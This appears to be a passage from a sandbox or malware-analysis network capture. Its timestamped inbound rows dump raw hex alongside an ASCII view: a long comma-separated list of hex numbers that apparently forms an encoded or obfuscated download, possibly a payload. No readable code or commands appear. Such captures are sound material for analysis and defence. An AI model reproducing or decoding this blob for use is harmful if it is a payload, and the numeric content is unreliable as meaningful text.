2023-04-20 23:05:32 UTC	19309	IN	Data Raw: 31 30 31 2c 31 34 64 2c 61 64 2c 35 35 2c 31 31 65 2c 37 63 2c 39 32 2c 61 36 2c 33 38 2c 31 36 34 2c 63 39 2c 64 61 2c 31 34 32 2c 64 36 2c 64 35 2c 31 35 36 2c 33 65 2c 31 33 36 2c 38 30 2c 62 32 2c 61 30 2c 65 63 2c 38 38 2c 35 64 2c 36 34 2c 37 65 2c 31 31 61 2c 66 30 2c 65 33 2c 31 34 35 2c 64 66 2c 62 66 2c 63 33 2c 31 35 30 2c 63 35 2c 37 31 2c 39 63 2c 66 30 2c 38 61 2c 31 32 64 2c 35 31 2c 64 35 2c 31 30 64 2c 62 64 2c 31 34 37 2c 66 34 2c 37 30 2c 31 34 61 2c 61 63 2c 64 39 2c 31 34 36 2c 31 32 31 2c 31 34 32 2c 62 31 2c 63 39 2c 31 33 31 2c 38 32 2c 62 61 2c 31 30 38 2c 66 32 2c 31 36 39 2c 38 66 2c 39 30 2c 63 31 2c 37 65 2c 31 36 35 2c 61 34 2c 61 32 2c 31 34 64 2c 31 34 34 2c 65 64 2c 64 31 2c 66 31 2c 37 32 2c 35 39 2c 39 30 2c 39 39 2c 31 Data Ascii: 101,14d,ad,55,11e,7c,92,a6,38,164,c9,da,142,d6,d5,156,3e,136,80,b2,a0,ec,88,5d,64,7e,11a,f0,e3,145,df,bf,c3,150,c5,71,9c,f0,8a,12d,51,d5,10d,bd,147,f4,70,14a,ac,d9,146,121,142,b1,c9,131,82,ba,108,f2,169,8f,90,c1,7e,165,a4,a2,14d,144,ed,d1,f1,72,59,90,99,1
2023-04-20 23:05:32 UTC	19325	IN	Data Raw: 36 64 2c 31 32 33 2c 31 30 66 2c 31 35 30 2c 31 31 64 2c 31 36 32 2c 31 32 64 2c 63 33 2c 31 32 39 2c 31 32 61 2c 39 31 2c 64 62 2c 31 32 32 2c 31 33 64 2c 62 37 2c 31 36 31 2c 62 64 2c 31 35 61 2c 31 35 32 2c 66 36 2c 31 33 33 2c 38 65 2c 31 35 35 2c 39 31 2c 31 30 62 2c 34 35 2c 31 35 34 2c 31 32 32 2c 31 32 30 2c 66 64 2c 31 30 37 2c 65 62 2c 31 34 62 2c 34 63 2c 38 38 2c 37 62 2c 31 33 64 2c 66 66 2c 37 39 2c 62 63 2c 31 32 38 2c 31 32 38 2c 65 64 2c 39 37 2c 31 30 30 2c 38 64 2c 36 39 2c 38 34 2c 66 37 2c 31 36 30 2c 31 31 61 2c 39 37 2c 65 37 2c 36 31 2c 37 64 2c 64 34 2c 64 39 2c 31 32 31 2c 39 39 2c 35 39 2c 36 65 2c 31 32 64 2c 31 33 66 2c 31 33 62 2c 39 62 2c 64 31 2c 39 38 2c 39 36 2c 31 30 64 2c 39 39 2c 31 34 34 2c 66 39 2c 36 35 2c 66 66 2c Data Ascii: 6d,123,10f,150,11d,162,12d,c3,129,12a,91,db,122,13d,b7,161,bd,15a,152,f6,133,8e,155,91,10b,45,154,122,120,fd,107,eb,14b,4c,88,7b,13d,ff,79,bc,128,128,ed,97,100,8d,69,84,f7,160,11a,97,e7,61,7d,d4,d9,121,99,59,6e,12d,13f,13b,9b,d1,98,96,10d,99,144,f9,65,ff,
2023-04-20 23:05:32 UTC	19341	IN	Data Raw: 37 66 2c 62 34 2c 31 31 30 2c 64 37 2c 61 35 2c 31 32 64 2c 31 30 33 2c 31 36 65 2c 65 37 2c 31 30 35 2c 36 66 2c 38 33 2c 61 64 2c 31 31 32 2c 38 65 2c 39 34 2c 31 33 37 2c 31 33 32 2c 31 33 39 2c 31 34 39 2c 31 33 63 2c 31 30 61 2c 36 63 2c 31 31 38 2c 38 31 2c 66 38 2c 39 62 2c 62 38 2c 66 32 2c 39 63 2c 37 66 2c 35 34 2c 63 39 2c 61 33 2c 65 61 2c 65 66 2c 31 33 32 2c 31 33 63 2c 31 32 61 2c 31 36 64 2c 63 31 2c 66 36 2c 31 33 39 2c 62 35 2c 31 30 62 2c 39 36 2c 37 32 2c 35 30 2c 31 35 35 2c 64 63 2c 39 63 2c 31 30 37 2c 31 33 38 2c 36 38 2c 31 36 61 2c 38 32 2c 61 30 2c 65 39 2c 31 30 31 2c 31 37 34 2c 66 30 2c 62 39 2c 31 33 35 2c 31 32 36 2c 66 32 2c 36 64 2c 31 32 63 2c 31 32 30 2c 62 33 2c 31 33 32 2c 66 63 2c 66 32 2c 31 31 39 2c 31 30 30 2c 31 Data Ascii: 7f,b4,110,d7,a5,12d,103,16e,e7,105,6f,83,ad,112,8e,94,137,132,139,149,13c,10a,6c,118,81,f8,9b,b8,f2,9c,7f,54,c9,a3,ea,ef,132,13c,12a,16d,c1,f6,139,b5,10b,96,72,50,155,dc,9c,107,138,68,16a,82,a0,e9,101,174,f0,b9,135,126,f2,6d,12c,120,b3,132,fc,f2,119,100,1
2023-04-20 23:05:32 UTC	19357	IN	Data Raw: 39 35 2c 39 33 2c 31 32 34 2c 38 61 2c 61 35 2c 31 31 35 2c 34 61 2c 31 31 37 2c 31 34 63 2c 62 38 2c 31 32 32 2c 38 32 2c 36 36 2c 38 36 2c 65 39 2c 65 61 2c 65 35 2c 31 33 66 2c 31 30 64 2c 31 32 38 2c 31 35 31 2c 37 65 2c 61 32 2c 31 36 34 2c 65 36 2c 64 30 2c 65 32 2c 66 66 2c 31 34 36 2c 39 33 2c 35 63 2c 37 37 2c 31 30 37 2c 31 32 34 2c 62 31 2c 31 35 66 2c 31 32 39 2c 62 31 2c 61 66 2c 36 37 2c 37 32 2c 31 32 64 2c 31 30 30 2c 65 63 2c 65 66 2c 62 64 2c 31 31 38 2c 35 38 2c 66 64 2c 61 39 2c 64 33 2c 63 32 2c 66 64 2c 31 31 63 2c 31 37 31 2c 37 39 2c 62 35 2c 39 31 2c 37 62 2c 62 64 2c 37 32 2c 62 62 2c 34 32 2c 31 35 64 2c 31 33 34 2c 61 31 2c 37 63 2c 36 33 2c 63 30 2c 39 61 2c 61 31 2c 31 32 38 2c 39 32 2c 31 32 30 2c 63 32 2c 31 30 64 2c 31 30 Data Ascii: 95,93,124,8a,a5,115,4a,117,14c,b8,122,82,66,86,e9,ea,e5,13f,10d,128,151,7e,a2,164,e6,d0,e2,ff,146,93,5c,77,107,124,b1,15f,129,b1,af,67,72,12d,100,ec,ef,bd,118,58,fd,a9,d3,c2,fd,11c,171,79,b5,91,7b,bd,72,bb,42,15d,134,a1,7c,63,c0,9a,a1,128,92,120,c2,10d,10
2023-04-20 23:05:33 UTC	19373	IN	Data Raw: 66 39 2c 31 31 37 2c 31 31 65 2c 63 35 2c 31 31 62 2c 38 31 2c 31 34 62 2c 66 66 2c 31 30 34 2c 31 32 37 2c 66 38 2c 31 33 65 2c 37 33 2c 35 39 2c 31 36 39 2c 64 39 2c 39 30 2c 31 32 63 2c 31 30 35 2c 31 34 63 2c 64 33 2c 65 37 2c 39 39 2c 31 36 31 2c 66 32 2c 31 30 36 2c 36 65 2c 31 34 36 2c 34 34 2c 31 32 62 2c 31 31 32 2c 31 30 39 2c 37 39 2c 31 36 30 2c 31 30 34 2c 39 63 2c 37 32 2c 31 32 64 2c 65 61 2c 38 33 2c 66 63 2c 39 64 2c 33 31 2c 66 63 2c 31 32 62 2c 65 62 2c 63 65 2c 31 32 36 2c 63 31 2c 33 64 2c 38 63 2c 31 33 32 2c 31 30 66 2c 61 39 2c 39 36 2c 64 37 2c 36 32 2c 31 33 33 2c 31 32 62 2c 63 38 2c 66 36 2c 37 62 2c 31 30 39 2c 31 36 30 2c 31 34 37 2c 31 32 66 2c 63 31 2c 31 34 65 2c 63 31 2c 61 35 2c 38 30 2c 31 30 32 2c 62 65 2c 31 31 64 2c Data Ascii: f9,117,11e,c5,11b,81,14b,ff,104,127,f8,13e,73,59,169,d9,90,12c,105,14c,d3,e7,99,161,f2,106,6e,146,44,12b,112,109,79,160,104,9c,72,12d,ea,83,fc,9d,31,fc,12b,eb,ce,126,c1,3d,8c,132,10f,a9,96,d7,62,133,12b,c8,f6,7b,109,160,147,12f,c1,14e,c1,a5,80,102,be,11d,
2023-04-20 23:05:33 UTC	19389	IN	Data Raw: 61 2c 62 62 2c 31 34 66 2c 31 31 61 2c 64 37 2c 62 35 2c 31 36 32 2c 65 34 2c 31 30 30 2c 31 30 65 2c 65 39 2c 37 61 2c 61 64 2c 35 61 2c 36 38 2c 31 33 64 2c 33 38 2c 63 30 2c 31 32 65 2c 36 36 2c 37 31 2c 65 30 2c 66 64 2c 37 34 2c 38 34 2c 31 36 36 2c 31 32 61 2c 31 32 62 2c 61 30 2c 31 32 31 2c 37 35 2c 61 38 2c 36 65 2c 31 32 36 2c 31 32 62 2c 31 36 30 2c 36 64 2c 31 31 35 2c 31 35 32 2c 31 31 32 2c 66 37 2c 35 39 2c 61 61 2c 61 34 2c 63 31 2c 36 38 2c 66 61 2c 64 39 2c 64 30 2c 37 37 2c 38 32 2c 31 31 61 2c 31 31 64 2c 31 30 38 2c 31 31 38 2c 61 37 2c 38 38 2c 65 30 2c 31 35 61 2c 66 32 2c 64 30 2c 39 34 2c 61 65 2c 31 33 66 2c 35 35 2c 63 37 2c 61 32 2c 61 33 2c 39 37 2c 65 38 2c 31 34 66 2c 66 61 2c 65 61 2c 31 32 66 2c 64 34 2c 31 36 38 2c 35 64 Data Ascii: a,bb,14f,11a,d7,b5,162,e4,100,10e,e9,7a,ad,5a,68,13d,38,c0,12e,66,71,e0,fd,74,84,166,12a,12b,a0,121,75,a8,6e,126,12b,160,6d,115,152,112,f7,59,aa,a4,c1,68,fa,d9,d0,77,82,11a,11d,108,118,a7,88,e0,15a,f2,d0,94,ae,13f,55,c7,a2,a3,97,e8,14f,fa,ea,12f,d4,168,5d
2023-04-20 23:05:33 UTC	19405	IN	Data Raw: 2c 65 35 2c 31 31 61 2c 63 35 2c 31 31 32 2c 31 34 35 2c 31 36 39 2c 63 31 2c 31 33 65 2c 66 39 2c 35 36 2c 62 32 2c 31 31 61 2c 34 36 2c 38 39 2c 63 31 2c 63 30 2c 66 65 2c 31 31 35 2c 39 65 2c 31 30 66 2c 31 32 31 2c 63 31 2c 37 33 2c 31 36 30 2c 66 39 2c 65 61 2c 65 35 2c 63 30 2c 62 62 2c 36 63 2c 37 61 2c 31 34 62 2c 31 32 62 2c 39 38 2c 36 30 2c 37 63 2c 31 34 61 2c 38 35 2c 31 31 61 2c 39 62 2c 39 37 2c 34 66 2c 63 39 2c 31 34 64 2c 35 37 2c 63 61 2c 65 35 2c 64 64 2c 31 35 35 2c 64 64 2c 31 32 36 2c 38 38 2c 35 65 2c 37 62 2c 31 31 61 2c 65 66 2c 65 66 2c 31 30 31 2c 39 32 2c 63 63 2c 39 34 2c 31 33 63 2c 31 35 30 2c 31 34 32 2c 63 63 2c 37 39 2c 31 31 30 2c 35 34 2c 31 34 64 2c 31 33 37 2c 31 37 32 2c 62 61 2c 36 64 2c 36 38 2c 35 66 2c 64 38 2c Data Ascii: ,e5,11a,c5,112,145,169,c1,13e,f9,56,b2,11a,46,89,c1,c0,fe,115,9e,10f,121,c1,73,160,f9,ea,e5,c0,bb,6c,7a,14b,12b,98,60,7c,14a,85,11a,9b,97,4f,c9,14d,57,ca,e5,dd,155,dd,126,88,5e,7b,11a,ef,ef,101,92,cc,94,13c,150,142,cc,79,110,54,14d,137,172,ba,6d,68,5f,d8,
2023-04-20 23:05:33 UTC	19421	IN	Data Raw: 2c 31 30 65 2c 61 63 2c 31 30 38 2c 38 30 2c 37 39 2c 39 63 2c 31 33 31 2c 35 30 2c 38 36 2c 31 32 39 2c 31 35 63 2c 65 35 2c 31 32 65 2c 31 33 38 2c 39 36 2c 31 36 62 2c 62 64 2c 61 65 2c 37 39 2c 64 64 2c 66 65 2c 65 62 2c 66 63 2c 31 31 63 2c 31 36 31 2c 66 38 2c 39 35 2c 33 37 2c 62 65 2c 31 31 38 2c 35 63 2c 36 61 2c 65 37 2c 65 38 2c 62 63 2c 64 61 2c 31 32 64 2c 66 63 2c 66 37 2c 35 33 2c 39 63 2c 65 64 2c 37 35 2c 31 33 61 2c 31 31 39 2c 65 38 2c 66 30 2c 31 33 62 2c 31 37 30 2c 36 66 2c 61 35 2c 66 34 2c 37 66 2c 31 33 34 2c 61 34 2c 31 33 64 2c 31 36 30 2c 63 34 2c 63 66 2c 31 31 33 2c 31 31 62 2c 64 33 2c 62 61 2c 31 31 32 2c 39 31 2c 31 32 61 2c 64 34 2c 39 63 2c 39 63 2c 31 36 30 2c 64 36 2c 31 30 62 2c 31 30 32 2c 31 31 37 2c 64 62 2c 63 38 Data Ascii: ,10e,ac,108,80,79,9c,131,50,86,129,15c,e5,12e,138,96,16b,bd,ae,79,dd,fe,eb,fc,11c,161,f8,95,37,be,118,5c,6a,e7,e8,bc,da,12d,fc,f7,53,9c,ed,75,13a,119,e8,f0,13b,170,6f,a5,f4,7f,134,a4,13d,160,c4,cf,113,11b,d3,ba,112,91,12a,d4,9c,9c,160,d6,10b,102,117,db,c8
2023-04-20 23:05:33 UTC	19437	IN	Data Raw: 32 2c 31 30 32 2c 62 39 2c 39 62 2c 31 31 35 2c 35 39 2c 36 39 2c 61 63 2c 39 37 2c 36 36 2c 31 35 32 2c 31 32 37 2c 31 36 32 2c 31 32 63 2c 31 32 39 2c 31 35 36 2c 31 30 63 2c 31 31 66 2c 31 31 32 2c 63 64 2c 31 32 34 2c 31 36 38 2c 31 30 39 2c 61 32 2c 66 35 2c 38 37 2c 31 30 31 2c 61 37 2c 66 62 2c 39 62 2c 31 33 65 2c 31 31 34 2c 64 36 2c 31 31 35 2c 62 39 2c 38 39 2c 66 39 2c 31 35 36 2c 38 65 2c 31 31 36 2c 31 34 65 2c 38 32 2c 35 62 2c 38 62 2c 65 37 2c 66 61 2c 62 66 2c 31 33 30 2c 65 37 2c 36 32 2c 31 32 36 2c 31 34 30 2c 62 37 2c 39 38 2c 31 35 31 2c 62 35 2c 38 34 2c 64 39 2c 38 34 2c 65 37 2c 31 33 36 2c 37 62 2c 39 63 2c 31 34 34 2c 31 31 38 2c 33 36 2c 62 32 2c 33 38 2c 36 66 2c 61 63 2c 31 32 31 2c 37 62 2c 31 35 36 2c 66 35 2c 64 31 2c 37 Data Ascii: 2,102,b9,9b,115,59,69,ac,97,66,152,127,162,12c,129,156,10c,11f,112,cd,124,168,109,a2,f5,87,101,a7,fb,9b,13e,114,d6,115,b9,89,f9,156,8e,116,14e,82,5b,8b,e7,fa,bf,130,e7,62,126,140,b7,98,151,b5,84,d9,84,e7,136,7b,9c,144,118,36,b2,38,6f,ac,121,7b,156,f5,d1,7
2023-04-20 23:05:33 UTC	19453	IN	Data Raw: 61 61 2c 66 34 2c 61 35 2c 65 35 2c 63 34 2c 31 32 32 2c 35 64 2c 61 36 2c 63 34 2c 64 64 2c 36 62 2c 65 37 2c 31 33 35 2c 65 38 2c 31 34 36 2c 31 32 61 2c 31 35 61 2c 31 30 30 2c 31 30 66 2c 61 31 2c 31 32 33 2c 37 66 2c 31 30 32 2c 37 65 2c 63 39 2c 62 33 2c 39 62 2c 37 65 2c 61 30 2c 65 65 2c 31 36 65 2c 31 32 34 2c 31 30 33 2c 38 34 2c 31 31 35 2c 61 39 2c 37 65 2c 31 31 65 2c 31 30 36 2c 62 33 2c 37 63 2c 31 36 30 2c 64 32 2c 31 30 65 2c 31 32 63 2c 36 66 2c 38 66 2c 63 65 2c 64 32 2c 31 32 34 2c 31 33 36 2c 35 63 2c 31 36 35 2c 37 63 2c 61 32 2c 38 32 2c 31 36 30 2c 37 65 2c 65 62 2c 31 32 30 2c 62 34 2c 66 62 2c 31 37 36 2c 31 30 63 2c 36 62 2c 31 30 36 2c 62 63 2c 66 61 2c 64 62 2c 39 35 2c 63 63 2c 64 35 2c 61 61 2c 61 64 2c 31 31 38 2c 31 37 31 Data Ascii: aa,f4,a5,e5,c4,122,5d,a6,c4,dd,6b,e7,135,e8,146,12a,15a,100,10f,a1,123,7f,102,7e,c9,b3,9b,7e,a0,ee,16e,124,103,84,115,a9,7e,11e,106,b3,7c,160,d2,10e,12c,6f,8f,ce,d2,124,136,5c,165,7c,a2,82,160,7e,eb,120,b4,fb,176,10c,6b,106,bc,fa,db,95,cc,d5,aa,ad,118,171
2023-04-20 23:05:33 UTC	19469	IN	Data Raw: 61 2c 31 31 63 2c 64 64 2c 38 32 2c 31 32 61 2c 31 30 38 2c 35 34 2c 31 34 36 2c 34 39 2c 65 61 2c 31 34 30 2c 31 35 66 2c 39 64 2c 62 63 2c 31 33 30 2c 31 35 66 2c 37 38 2c 31 33 35 2c 31 30 61 2c 38 35 2c 65 33 2c 31 32 66 2c 38 35 2c 31 31 30 2c 34 61 2c 31 33 33 2c 64 37 2c 62 63 2c 39 37 2c 31 35 66 2c 63 66 2c 31 33 30 2c 31 33 63 2c 31 35 35 2c 31 30 64 2c 38 65 2c 31 31 34 2c 63 30 2c 65 36 2c 66 30 2c 64 34 2c 61 35 2c 66 36 2c 62 31 2c 31 30 63 2c 63 62 2c 63 36 2c 31 35 37 2c 62 36 2c 38 31 2c 31 34 33 2c 65 38 2c 31 32 30 2c 64 64 2c 33 39 2c 31 33 64 2c 37 36 2c 31 34 30 2c 39 34 2c 31 32 62 2c 63 33 2c 37 31 2c 31 30 31 2c 31 34 33 2c 31 32 32 2c 31 32 64 2c 31 32 66 2c 36 36 2c 31 32 35 2c 31 33 38 2c 62 37 2c 39 65 2c 34 61 2c 31 32 38 2c Data Ascii: a,11c,dd,82,12a,108,54,146,49,ea,140,15f,9d,bc,130,15f,78,135,10a,85,e3,12f,85,110,4a,133,d7,bc,97,15f,cf,130,13c,155,10d,8e,114,c0,e6,f0,d4,a5,f6,b1,10c,cb,c6,157,b6,81,143,e8,120,dd,39,13d,76,140,94,12b,c3,71,101,143,122,12d,12f,66,125,138,b7,9e,4a,128,
2023-04-20 23:05:33 UTC	19485	IN	Data Raw: 31 32 35 2c 37 36 2c 31 30 37 2c 38 30 2c 31 31 30 2c 64 63 2c 37 61 2c 39 39 2c 64 61 2c 36 61 2c 36 62 2c 61 63 2c 36 62 2c 31 31 38 2c 66 61 2c 31 33 39 2c 34 30 2c 62 37 2c 36 37 2c 38 33 2c 36 66 2c 31 33 34 2c 36 63 2c 31 33 30 2c 34 31 2c 31 35 32 2c 31 30 31 2c 31 35 35 2c 37 61 2c 31 33 32 2c 31 33 62 2c 36 61 2c 37 64 2c 39 66 2c 66 33 2c 37 36 2c 31 30 34 2c 31 32 37 2c 31 36 35 2c 31 31 34 2c 66 30 2c 62 35 2c 31 31 35 2c 31 33 38 2c 66 62 2c 31 31 34 2c 31 31 66 2c 34 66 2c 35 36 2c 38 33 2c 39 35 2c 31 33 65 2c 61 38 2c 37 39 2c 38 38 2c 31 36 38 2c 34 31 2c 66 62 2c 35 64 2c 31 36 65 2c 31 35 38 2c 63 36 2c 38 30 2c 66 35 2c 38 33 2c 62 30 2c 63 32 2c 64 63 2c 31 33 66 2c 61 34 2c 31 33 64 2c 39 33 2c 63 66 2c 31 32 62 2c 34 65 2c 65 35 2c Data Ascii: 125,76,107,80,110,dc,7a,99,da,6a,6b,ac,6b,118,fa,139,40,b7,67,83,6f,134,6c,130,41,152,101,155,7a,132,13b,6a,7d,9f,f3,76,104,127,165,114,f0,b5,115,138,fb,114,11f,4f,56,83,95,13e,a8,79,88,168,41,fb,5d,16e,158,c6,80,f5,83,b0,c2,dc,13f,a4,13d,93,cf,12b,4e,e5,
2023-04-20 23:05:33 UTC	19501	IN	Data Raw: 34 34 2c 33 30 2c 36 36 2c 36 33 2c 31 33 62 2c 61 31 2c 31 31 32 2c 36 31 2c 31 33 61 2c 31 32 62 2c 36 64 2c 36 30 2c 31 34 30 2c 37 33 2c 62 66 2c 31 33 31 2c 31 35 32 2c 38 34 2c 31 35 34 2c 31 31 63 2c 61 32 2c 63 62 2c 31 33 34 2c 38 38 2c 31 31 31 2c 36 32 2c 36 38 2c 31 36 61 2c 31 35 35 2c 37 36 2c 61 30 2c 66 61 2c 66 39 2c 65 33 2c 64 34 2c 36 30 2c 31 36 34 2c 37 39 2c 31 30 62 2c 31 31 31 2c 37 65 2c 31 33 33 2c 61 30 2c 31 30 62 2c 31 31 63 2c 31 30 34 2c 61 65 2c 36 64 2c 35 36 2c 63 31 2c 66 63 2c 31 30 64 2c 31 33 63 2c 61 66 2c 37 35 2c 36 32 2c 61 30 2c 31 30 34 2c 39 38 2c 66 31 2c 39 35 2c 37 64 2c 31 33 34 2c 31 31 34 2c 61 39 2c 35 30 2c 63 64 2c 63 34 2c 31 34 30 2c 31 34 32 2c 62 38 2c 31 30 61 2c 37 32 2c 38 33 2c 64 32 2c 35 64 Data Ascii: 44,30,66,63,13b,a1,112,61,13a,12b,6d,60,140,73,bf,131,152,84,154,11c,a2,cb,134,88,111,62,68,16a,155,76,a0,fa,f9,e3,d4,60,164,79,10b,111,7e,133,a0,10b,11c,104,ae,6d,56,c1,fc,10d,13c,af,75,62,a0,104,98,f1,95,7d,134,114,a9,50,cd,c4,140,142,b8,10a,72,83,d2,5d
2023-04-20 23:05:33 UTC	19517	IN	Data Raw: 61 37 2c 38 61 2c 31 32 66 2c 61 30 2c 65 66 2c 31 33 31 2c 34 36 2c 31 30 39 2c 63 31 2c 62 64 2c 66 30 2c 37 62 2c 61 64 2c 31 31 30 2c 63 30 2c 35 64 2c 62 30 2c 31 30 30 2c 34 62 2c 65 39 2c 37 63 2c 36 65 2c 31 35 38 2c 66 65 2c 31 32 65 2c 63 64 2c 31 36 36 2c 31 36 30 2c 31 33 32 2c 31 34 38 2c 64 63 2c 64 63 2c 31 31 61 2c 66 39 2c 37 39 2c 61 32 2c 31 33 39 2c 61 35 2c 35 30 2c 31 35 35 2c 63 39 2c 38 63 2c 31 33 35 2c 38 30 2c 61 32 2c 63 65 2c 64 62 2c 31 31 64 2c 37 39 2c 31 32 65 2c 38 38 2c 36 30 2c 39 61 2c 31 34 34 2c 61 36 2c 63 31 2c 63 39 2c 66 34 2c 39 64 2c 62 30 2c 31 31 36 2c 31 31 38 2c 35 35 2c 36 37 2c 63 39 2c 35 37 2c 65 63 2c 31 36 63 2c 65 34 2c 31 33 35 2c 66 61 2c 62 36 2c 31 36 33 2c 33 38 2c 35 39 2c 65 33 2c 31 31 65 2c Data Ascii: a7,8a,12f,a0,ef,131,46,109,c1,bd,f0,7b,ad,110,c0,5d,b0,100,4b,e9,7c,6e,158,fe,12e,cd,166,160,132,148,dc,dc,11a,f9,79,a2,139,a5,50,155,c9,8c,135,80,a2,ce,db,11d,79,12e,88,60,9a,144,a6,c1,c9,f4,9d,b0,116,118,55,67,c9,57,ec,16c,e4,135,fa,b6,163,38,59,e3,11e,
2023-04-20 23:05:33 UTC	19533	IN	Data Raw: 63 2c 37 30 2c 31 31 35 2c 31 34 61 2c 38 34 2c 36 62 2c 64 36 2c 31 30 37 2c 37 63 2c 31 30 35 2c 63 32 2c 31 34 63 2c 63 31 2c 65 37 2c 66 37 2c 64 38 2c 66 62 2c 31 35 65 2c 31 32 66 2c 31 30 34 2c 62 62 2c 31 35 34 2c 31 30 34 2c 62 31 2c 62 39 2c 31 31 37 2c 36 33 2c 64 61 2c 61 65 2c 35 62 2c 31 34 35 2c 31 33 30 2c 37 38 2c 38 34 2c 31 33 36 2c 37 61 2c 65 37 2c 31 31 39 2c 65 65 2c 33 63 2c 31 31 34 2c 64 62 2c 31 31 39 2c 31 33 65 2c 31 33 61 2c 37 37 2c 36 30 2c 61 31 2c 66 35 2c 62 65 2c 36 34 2c 65 31 2c 31 31 38 2c 63 65 2c 66 34 2c 61 37 2c 38 31 2c 38 34 2c 31 34 32 2c 31 32 31 2c 65 62 2c 38 34 2c 61 37 2c 31 32 39 2c 33 64 2c 31 30 39 2c 38 36 2c 66 32 2c 31 33 38 2c 63 30 2c 63 61 2c 31 33 34 2c 61 36 2c 31 36 33 2c 35 38 2c 62 34 2c 31 Data Ascii: c,70,115,14a,84,6b,d6,107,7c,105,c2,14c,c1,e7,f7,d8,fb,15e,12f,104,bb,154,104,b1,b9,117,63,da,ae,5b,145,130,78,84,136,7a,e7,119,ee,3c,114,db,119,13e,13a,77,60,a1,f5,be,64,e1,118,ce,f4,a7,81,84,142,121,eb,84,a7,129,3d,109,86,f2,138,c0,ca,134,a6,163,58,b4,1
2023-04-20 23:05:33 UTC	19549	IN	Data Raw: 31 35 39 2c 31 30 30 2c 31 31 37 2c 61 65 2c 65 34 2c 39 35 2c 66 39 2c 38 31 2c 31 30 30 2c 31 33 64 2c 31 34 39 2c 31 30 36 2c 62 36 2c 37 65 2c 64 63 2c 66 64 2c 61 63 2c 63 61 2c 31 32 64 2c 39 61 2c 39 36 2c 37 30 2c 61 37 2c 62 35 2c 37 64 2c 31 32 66 2c 62 64 2c 31 36 36 2c 63 33 2c 36 65 2c 31 31 32 2c 62 38 2c 31 35 37 2c 31 35 39 2c 63 64 2c 39 31 2c 64 33 2c 65 30 2c 61 64 2c 31 32 65 2c 31 32 36 2c 31 33 35 2c 36 64 2c 38 66 2c 39 63 2c 64 61 2c 37 30 2c 31 30 64 2c 31 31 33 2c 61 64 2c 65 33 2c 37 35 2c 31 32 38 2c 31 32 31 2c 31 30 61 2c 37 31 2c 65 66 2c 35 65 2c 31 33 62 2c 62 64 2c 31 36 33 2c 61 32 2c 31 34 66 2c 62 66 2c 31 35 64 2c 31 33 32 2c 66 35 2c 63 34 2c 31 32 36 2c 63 32 2c 63 61 2c 65 63 2c 61 65 2c 63 35 2c 61 63 2c 31 32 30 Data Ascii: 159,100,117,ae,e4,95,f9,81,100,13d,149,106,b6,7e,dc,fd,ac,ca,12d,9a,96,70,a7,b5,7d,12f,bd,166,c3,6e,112,b8,157,159,cd,91,d3,e0,ad,12e,126,135,6d,8f,9c,da,70,10d,113,ad,e3,75,128,121,10a,71,ef,5e,13b,bd,163,a2,14f,bf,15d,132,f5,c4,126,c2,ca,ec,ae,c5,ac,120
2023-04-20 23:05:33 UTC	19565	IN	Data Raw: 63 2c 31 32 31 2c 37 32 2c 66 64 2c 31 30 30 2c 34 62 2c 39 38 2c 38 38 2c 38 65 2c 31 36 30 2c 65 31 2c 65 63 2c 39 37 2c 31 30 33 2c 35 66 2c 31 30 64 2c 31 32 61 2c 31 35 35 2c 62 36 2c 62 61 2c 31 32 31 2c 39 35 2c 65 65 2c 31 32 37 2c 31 33 36 2c 37 39 2c 63 65 2c 31 35 38 2c 66 33 2c 35 36 2c 31 31 33 2c 65 32 2c 64 34 2c 66 66 2c 31 35 61 2c 39 32 2c 39 35 2c 34 61 2c 31 30 65 2c 39 64 2c 65 38 2c 38 34 2c 31 33 38 2c 31 34 34 2c 38 34 2c 36 37 2c 61 37 2c 38 30 2c 31 34 64 2c 31 35 32 2c 31 35 37 2c 39 62 2c 34 37 2c 31 30 38 2c 66 34 2c 31 32 39 2c 63 63 2c 62 34 2c 31 33 35 2c 39 65 2c 64 31 2c 36 39 2c 31 36 64 2c 39 62 2c 34 38 2c 38 31 2c 65 38 2c 37 65 2c 61 35 2c 33 64 2c 31 33 64 2c 31 33 62 2c 31 30 33 2c 31 34 65 2c 62 38 2c 37 34 2c 64 Data Ascii: c,121,72,fd,100,4b,98,88,8e,160,e1,ec,97,103,5f,10d,12a,155,b6,ba,121,95,ee,127,136,79,ce,158,f3,56,113,e2,d4,ff,15a,92,95,4a,10e,9d,e8,84,138,144,84,67,a7,80,14d,152,157,9b,47,108,f4,129,cc,b4,135,9e,d1,69,16d,9b,48,81,e8,7e,a5,3d,13d,13b,103,14e,b8,74,d
2023-04-20 23:05:33 UTC	19581	IN	Data Raw: 31 36 34 2c 39 35 2c 62 32 2c 38 34 2c 63 37 2c 66 31 2c 31 31 36 2c 38 65 2c 31 31 32 2c 62 35 2c 38 33 2c 66 31 2c 31 32 36 2c 38 34 2c 34 61 2c 37 32 2c 37 63 2c 36 64 2c 37 37 2c 31 33 31 2c 38 35 2c 31 35 31 2c 62 36 2c 31 30 39 2c 31 32 64 2c 38 37 2c 63 35 2c 39 35 2c 65 31 2c 38 30 2c 63 32 2c 64 36 2c 38 30 2c 31 31 61 2c 65 64 2c 61 64 2c 66 36 2c 66 30 2c 62 61 2c 66 33 2c 35 63 2c 31 32 33 2c 31 35 38 2c 31 35 34 2c 31 31 61 2c 31 32 35 2c 65 64 2c 36 37 2c 35 38 2c 39 66 2c 37 32 2c 39 37 2c 36 65 2c 31 31 36 2c 61 63 2c 39 39 2c 62 38 2c 31 31 37 2c 37 66 2c 37 38 2c 62 37 2c 31 34 64 2c 65 64 2c 31 30 64 2c 39 62 2c 36 30 2c 31 33 65 2c 62 35 2c 37 61 2c 63 32 2c 39 30 2c 61 62 2c 35 64 2c 38 36 2c 64 65 2c 31 34 65 2c 35 62 2c 62 32 2c 31 Data Ascii: 164,95,b2,84,c7,f1,116,8e,112,b5,83,f1,126,84,4a,72,7c,6d,77,131,85,151,b6,109,12d,87,c5,95,e1,80,c2,d6,80,11a,ed,ad,f6,f0,ba,f3,5c,123,158,154,11a,125,ed,67,58,9f,72,97,6e,116,ac,99,b8,117,7f,78,b7,14d,ed,10d,9b,60,13e,b5,7a,c2,90,ab,5d,86,de,14e,5b,b2,1
